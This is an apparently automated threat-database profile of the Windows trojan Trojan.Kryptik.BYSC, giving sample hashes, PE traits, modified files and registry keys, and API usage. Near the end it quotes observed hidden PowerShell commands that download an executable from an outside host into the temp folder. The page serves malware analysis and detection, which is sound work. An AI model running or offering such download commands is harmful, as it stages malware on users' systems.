Threat Database Trojans Trojan.Kryptik.BYSC

Trojan.Kryptik.BYSC

By CagedTech in Trojans

Threat Scorecard

Popularity Rank: 20,695
Threat Level: 80 % (High)
Infected Computers: 3
First Seen: June 4, 2026
Last Seen: August 2, 2026
OS(es) Affected: Windows

Analysis Report

General information

Family Name: Trojan.Kryptik.BYSC
Signature status: No Signature

Known Samples

MD5: f52bc723870a5bf43e8593d5ad900006
SHA1: d96a861451e66025786081abb52821a4ec661f5c
SHA256: A94DCD32E66B1E7D4F316A81740073E9E17AB48E852B62EC64336C3BC5E053B3
File Size: 2.80 MB, 2798080 bytes
MD5: bdee6abd66790705edea21cac6bfa180
SHA1: c8440e8517a10bef6a3771f834fd3a61ba498a29
SHA256: E0E68B4E62FEA325B4EC17C2DF5A533E0F0C8491AADFE16D822933CDEBDC71B3
File Size: 648.19 KB, 648192 bytes

Windows Portable Executable Attributes

  • File doesn't have "Rich" header
  • File doesn't have exports table
  • File doesn't have security information
  • File has TLS information
  • File is 64-bit executable
  • File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
  • File is either console or GUI application
  • File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
  • File is Native application (NOT .NET application)
  • File is not packed
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  • IMAGE_FILE_DLL is not set inside PE header (Executable)
  • IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

File Traits

  • GetConsoleWindow
  • HighEntropy
  • imgui
  • No Version Info
  • VirtualQueryEx
  • WriteProcessMemory
  • x64

Block Information

Total Blocks: 602
Potentially Malicious Blocks: 215
Whitelisted Blocks: 314
Unknown Blocks: 73

Visual Map

x x 0 0 0 0 0 x 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 x 0 x x 0 x x x ? 0 x x 0 x x ? x x x x x x x x x 0 x 0 x ? ? x x x x 0 0 0 0 0 0 x 0 ? x 0 x x 0 x x x x 1 0 0 0 1 0 x x x x x 0 0 0 0 0 0 0 0 0 0 x 0 x x x 0 0 0 0 0 x 0 0 0 x x x x 0 x 0 0 x 0 x 0 0 x x x 0 x 0 0 0 0 x x x x x x x x x 0 0 x x x 0 x x x x x x x 0 0 0 x 0 x x x 0 x x x x x 0 x x x x x x x x x x x x x x x x 0 x x x x 0 x x 0 0 x x 0 0 x x x x 0 x 0 x 0 x x x 0 x x x x 0 x x x x x x x 0 x x 0 0 0 x x x x x x 0 x 0 x x x x 0 0 0 x 0 0 x 0 0 0 x x x x 0 x x x x 0 0 x 0 x x ? x ? ? x x 0 x x 0 x ? x x x x x 0 0 0 x x x 0 0 x x 0 x x x 0 x 0 0 0 x 0 x x x x 0 ? 0 0 ? x 0 ? 0 0 x 0 x x 0 x x 0 0 0 x 0 0 0 0 0 0 0 ? 0 0 ? ? 0 ? 0 0 0 x x x ? ? ? ? 0 0 0 ? 0 x x x ? 0 ? x ? x 0 1 x x ? ? 0 0 ? ? ? 0 ? ? ? ? ? ? ? 0 ? 0 0 ? ? 0 0 0 x x ? 0 x x x x x x ? 0 x x x x 0 0 0 0 0 0 0 0 0 0 ? ? ? ? 0 0 ? ? ? ? 0 ? 0 0 0 0 0 ? ? ? ? ? ? ? ? ? ? 0 0 0 ? ? ? ? ? ? ? 0 ? 0 ? 0 0 x 0 0 0 0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 ? 0 0 0 0 0 0 0 x 0 0 ? ? 0 x 0 0 0 0 0 2 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 0 ? 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block

Files Modified

File Attributes
\device\namedpipe\pshost.134298041107602453.9164.defaultappdomain.powershell Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288
\device\namedpipe\pshost.134298041112120267.10220.defaultappdomain.powershell Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288
c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.0.regtrans-ms Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.1.regtrans-ms Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.2.regtrans-ms Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\__psscriptpolicytest_c32xgk1i.40a.psm1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_jjqezcsj.jck.psm1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_mvuzhjel.iam.ps1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_vkkicubd.4oo.ps1 Generic Write,Read Attributes

Registry Modifications

Key::Value Data API Name
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe く姚Ὓǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe ᬂ姦Ὓǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe ᬂ姦Ὓǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe 䈭姭Ὓǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe &� Z[� RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe ֑娑Ὓǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe ź冄↵ǝ RegNtPreCreateKey

Windows API Usage

Category API
Syscall Use
  • ntdll.dll!NtAccessCheck
  • ntdll.dll!NtAddAtomEx
  • ntdll.dll!NtAlertThreadByThreadId
  • ntdll.dll!NtAllocateLocallyUniqueId
  • ntdll.dll!NtAlpcAcceptConnectPort
  • ntdll.dll!NtAlpcConnectPort
  • ntdll.dll!NtAlpcConnectPortEx
  • ntdll.dll!NtAlpcCreatePort
  • ntdll.dll!NtAlpcCreateSecurityContext
  • ntdll.dll!NtAlpcDeleteSecurityContext
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  • ntdll.dll!NtAlpcOpenSenderProcess
  • ntdll.dll!NtAlpcQueryInformation
  • ntdll.dll!NtAlpcSendWaitReceivePort
  • ntdll.dll!NtApphelpCacheControl
  • ntdll.dll!NtAssociateWaitCompletionPacket
  • ntdll.dll!NtClearEvent
  • ntdll.dll!NtClose
  • ntdll.dll!NtCompareSigningLevels
  • ntdll.dll!NtConnectPort
  • ntdll.dll!NtCreateEvent
  • ntdll.dll!NtCreateFile
  • ntdll.dll!NtCreateIoCompletion
  • ntdll.dll!NtCreateKey
  • ntdll.dll!NtCreateMutant
  • ntdll.dll!NtCreatePrivateNamespace
  • ntdll.dll!NtCreateSection
  • ntdll.dll!NtCreateSemaphore
  • ntdll.dll!NtCreateThreadEx
  • ntdll.dll!NtCreateTimer
  • ntdll.dll!NtCreateTimer2
  • ntdll.dll!NtCreateWaitCompletionPacket
  • ntdll.dll!NtCreateWorkerFactory
  • ntdll.dll!NtDelayExecution
  • ntdll.dll!NtDeleteValueKey
  • ntdll.dll!NtDeviceIoControlFile
  • ntdll.dll!NtDuplicateObject
  • ntdll.dll!NtDuplicateToken
  • ntdll.dll!NtEnumerateKey
  • ntdll.dll!NtEnumerateValueKey
  • ntdll.dll!NtFindAtom
  • ntdll.dll!NtFlushProcessWriteBuffers
  • ntdll.dll!NtFreeVirtualMemory
  • ntdll.dll!NtFsControlFile
  • ntdll.dll!NtGetCachedSigningLevel
  • ntdll.dll!NtMapViewOfSection
  • ntdll.dll!NtNotifyChangeKey
  • ntdll.dll!NtOpenDirectoryObject
  • ntdll.dll!NtOpenEvent
  • ntdll.dll!NtOpenFile
  • ntdll.dll!NtOpenKey
  • ntdll.dll!NtOpenKeyEx
  • ntdll.dll!NtOpenMutant
  • ntdll.dll!NtOpenProcess
  • ntdll.dll!NtOpenProcessToken
  • ntdll.dll!NtOpenProcessTokenEx
  • ntdll.dll!NtOpenSection
  • ntdll.dll!NtOpenSemaphore
  • ntdll.dll!NtOpenSymbolicLinkObject
  • ntdll.dll!NtOpenThread
  • ntdll.dll!NtOpenThreadToken
  • ntdll.dll!NtOpenThreadTokenEx
  • ntdll.dll!NtProtectVirtualMemory
  • ntdll.dll!NtQueryAttributesFile
  • ntdll.dll!NtQueryDefaultLocale
  • ntdll.dll!NtQueryDirectoryFileEx
  • ntdll.dll!NtQueryFullAttributesFile
  • ntdll.dll!NtQueryInformationFile
  • ntdll.dll!NtQueryInformationJobObject
  • ntdll.dll!NtQueryInformationProcess
  • ntdll.dll!NtQueryInformationThread
  • ntdll.dll!NtQueryInformationToken
  • ntdll.dll!NtQueryKey
  • ntdll.dll!NtQueryLicenseValue
  • ntdll.dll!NtQueryObject
  • ntdll.dll!NtQueryPerformanceCounter
  • ntdll.dll!NtQuerySecurityAttributesToken
  • ntdll.dll!NtQuerySecurityObject
  • ntdll.dll!NtQuerySymbolicLinkObject
  • ntdll.dll!NtQuerySystemInformation
  • ntdll.dll!NtQuerySystemInformationEx
  • ntdll.dll!NtQueryValueKey
  • ntdll.dll!NtQueryVirtualMemory
  • ntdll.dll!NtQueryVolumeInformationFile
  • ntdll.dll!NtQueryWnfStateData
  • ntdll.dll!NtReadFile
  • ntdll.dll!NtReadRequestData
  • ntdll.dll!NtReadVirtualMemory
  • ntdll.dll!NtReleaseMutant
  • ntdll.dll!NtReleaseSemaphore
  • ntdll.dll!NtReleaseWorkerFactoryWorker
  • ntdll.dll!NtRequestWaitReplyPort
  • ntdll.dll!NtResumeThread
  • ntdll.dll!NtSetEvent
  • ntdll.dll!NtSetInformationFile
  • ntdll.dll!NtSetInformationKey
  • ntdll.dll!NtSetInformationProcess
  • ntdll.dll!NtSetInformationThread
  • ntdll.dll!NtSetInformationVirtualMemory
  • ntdll.dll!NtSetInformationWorkerFactory
  • ntdll.dll!NtSetTimer2

18 additional items are not displayed above.

Process Manipulation Evasion
  • NtUnmapViewOfSection
Process Shell Execute
  • CreateProcess
Anti Debug
  • IsDebuggerPresent
  • NtQuerySystemInformation
User Data Access
  • GetUserDefaultLocaleName
  • GetUserObjectInformation
Encryption Used
  • BCryptOpenAlgorithmProvider
Other Suspicious
  • AdjustTokenPrivileges

Shell Command Execution

C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK106731.exe
C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK397651.exe
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK106731.exe
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK397651.exe